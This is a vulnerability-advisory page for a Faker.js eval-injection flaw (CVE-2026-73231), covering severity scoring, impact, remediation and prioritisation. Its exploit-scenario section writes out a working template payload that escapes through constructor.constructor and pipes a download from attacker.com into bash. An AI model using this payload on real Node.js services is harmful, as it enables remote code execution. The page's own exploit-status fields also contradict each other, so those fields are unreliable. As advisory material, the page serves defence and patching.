Skip to main content

Faker.js CVE-2026-73231

| EUVDEUVD-2026-56923 HIGH
Eval Injection (CWE-95)
2026-08-11 security-advisories@github.com GHSA-qxc2-j82w-r537
7.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control template string input to faker
  2. Delivery
    Craft property chain targeting function.constructor
  3. Exploit
    resolveProperty traverses to Function constructor
  4. Execution
    Invoke Function constructor with arbitrary JS payload
  5. Impact
    Execute code in Node.js process context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that attacker-controlled strings reach the faker.helpers.fake method (or the underlying fakeEval function) as template input. In a server-side Node.js context, this condition is met whenever an application passes external user input - such as HTTP request parameters, form fields, or API body values - directly to faker.helpers.fake without sanitization. In a local/development context, the attacker needs low-privileged access to execute JavaScript in the same Node.js environment where faker is invoked. The vulnerability is also present in browser-side usage where user input is funneled to faker templates, though browser sandbox constraints limit post-exploitation impact compared to server-side. There is no requirement for a specific non-default configuration of Faker itself - the vulnerable code path is exercised whenever faker.helpers.fake processes a template string that resolves to a function. Exploitation is limited in projects that treat faker as a devDependency and never expose its template evaluation to external input.

Impact

The CVSS 3.1 vector (AV:L/AC:L/PR:L/UI:N, score 7.8) positions this as a local, low-complexity attack requiring low privileges. This framing is accurate for the most common Faker.js use case - a developer or CI process where the attacker already has local code execution and can craft templates. However, real-world risk is significantly higher for applications that accept user input and pass it to faker.helpers.fake server-side (e.g., mock API generators, data preview tools, seeding endpoints), where the effective attack vector becomes network-reachable with no privileges required. EPSS data is not available in the provided intelligence, so exploitation probability cannot be quantified. The vulnerability is not in CISA KEV and no standalone POC was referenced, but the commit diff fully discloses the attack mechanism, making independent weaponization straightforward. SSVC signals: exploitation status is none-confirmed; technically automatable once a vulnerable endpoint is identified; technical impact is total (C:H/I:H/A:H). Priority should be elevated for any deployment where user-controlled strings reach faker.helpers.fake.

Exploit ScenarioDerived

An attacker identifies a server-side API endpoint (e.g., a mock-data preview or seeding service) that accepts a template string and passes it directly to faker.helpers.fake. The attacker submits a crafted template such as {{custom.evil.constructor.constructor('require("child_process").execSync("curl attacker.com/shell.sh | bash")')()}}, which the old resolveProperty logic resolves by traversing the function's constructor chain to reach the built-in Function constructor, then executes the injected payload with the privileges of the Node.js process. The full exploitation mechanism is disclosed by the commit diff, lowering the bar for independent weaponization.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 11, 2026

Arbitrary JavaScript code execution in Faker.js prior to 10.5.0 is achievable when attacker-controlled strings reach the faker.helpers.fake template engine. The vulnerability resides in fakeEval.resolveProperty in src/modules/helpers/eval.ts, where direct property access on a function return value (entrypoint?.[key]) allows traversal to the Function constructor via constructor.constructor, a classic sandbox escape. Applications that pass any user-supplied input to faker.helpers.fake on the server side are directly exposed to remote code execution; in local/development contexts, exploitation requires low-privileged access to control template strings. No public exploit identified at time of analysis, and the fix is available in version 10.5.0.

RemediationAI

Upgrade Faker.js to version 10.5.0 or later, which contains the patched resolveProperty implementation (commit 54586208f904012f57c50b46cc1ad32bcbe4bfb7). The release is available at https://github.com/faker-js/faker/releases/tag/v10.5.0. Run npm update @faker-js/faker or pin @faker-js/faker@^10.5.0 in your package.json. If an immediate upgrade is not possible, the most effective compensating control is to ensure no user-supplied or externally influenced strings are ever passed as templates to faker.helpers.fake or fakeEval - enforce this at the API boundary with an allowlist of permitted template strings rather than a denylist. Faker.js should be treated as an internal/development-only dependency and never exposed to raw user input without sanitization; removing any public endpoints that proxy templates to faker is the safest interim measure. Note: restricting faker to development dependencies only (devDependencies) eliminates the attack surface in production entirely, with no functional trade-off if faker is used solely for test data generation.

Affected VersionsENISA

faker < 10.5.0

Affected Packages

npm @faker-js/faker fix: 10.5.0
euvd faker fix: 10.5.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Faker.js (CPE: cpe:2.3:a:fakerjs:faker:*:*:*:*:*:node.js:*:*) is a widely used JavaScript library for generating synthetic test data, running in both Node.js and browser environments. The vulnerable code path is faker.helpers.fake, which processes mustache-style template strings (e.g., {{internet.email}}) by evaluating property chains via fakeEval in src/modules/helpers/eval.ts. The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code - Eval Injection): the resolveProperty function used direct bracket-notation access (entrypoint?.[key]) on any value, including function objects. In JavaScript, functions expose a constructor property pointing to the built-in Function object. A template like {{custom.lazyFn.constructor.constructor('malicious')()}} would chain through resolveProperty to reach Function, allowing construction and execution of arbitrary JS. The fix (commit 54586208) replaces direct property access with a recursive call to resolveProperty itself, which invokes functions and resolves properties on their return values rather than on the raw function object - closing the path to Function.prototype.constructor.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Attacker must control template strings passed to faker, implying at minimum low-privileged local code execution or application-level access; AV:N only applies when applications expose faker to user input.

3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 8.8 HIGH

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 11, 2026 - 21:18 EUVD
CVE Published
Aug 11, 2026 - 20:18 cve.org
HIGH 7.8

DescriptionCVE.org

Faker generates massive amounts of fake data in the browser and Node.js. Prior to 10.5.0, the faker.helpers.fake method in src/modules/helpers/eval.ts allows attacker-controlled fake templates to access the Function constructor through fakeEval.resolveProperty when a function returns another function, enabling arbitrary JavaScript code execution. This issue is fixed in version 10.5.0.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 639 npm packages depend on @faker-js/faker (355 direct, 287 indirect)

Ecosystem-wide dependent count for version 10.5.0.

Executive ViewAI

Why It Matters

Faker.js versions prior to 10.5.0 contain a remote code execution vulnerability enabling attackers to execute arbitrary JavaScript code on affected servers when user-supplied input is processed through the library's template engine. This impacts organizations using Faker.js for server-side data generation, potentially compromising application servers and the data they handle. Immediate patching is required for all production systems.

Business Impact: High
Compensating Controls

Apply vendor patch: Faker.js version 10.5.0.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
High
npm package with tens of millions of weekly downloads globally
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Module for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected
SUSE Linux Enterprise Server for SAP applications 16.0 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
openSUSE Leap 16.0 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy